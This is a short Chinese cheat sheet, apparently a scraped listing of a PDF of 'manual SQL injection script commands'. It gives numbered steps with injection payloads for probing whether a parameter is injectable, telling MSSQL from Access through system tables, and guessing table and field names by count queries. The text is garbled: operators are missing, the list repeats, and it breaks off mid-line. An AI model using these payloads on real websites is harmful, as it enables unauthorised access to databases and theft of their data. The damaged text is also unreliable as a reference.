sql手动注入脚本命令.pdfVIP

手动注入:手动SQL注入脚本命令精华版 疯狂代码 http://CrazyC/ ĵ http:/CrazyC/DataBase/Article23555.html .判断是否有注入;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user0 3.注入参数是字符and [查询条件] and = 4.搜索时没过滤参数的and [查询条件] and %25= 5.判断数据库系统 ;and (select count(*) from sysobjects)0 mssql ;and (select count(*) from msysobjects)0 access 6.猜数据库 ;and (select Count(*) from [数据库名])0 7.猜字段 ;and (select Count(字段名) from 数据库名)0 1.判断是否有注入;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user0 3.注入参数是字符and [查询条件] and = 4.搜索时没过滤参数的and [查询条件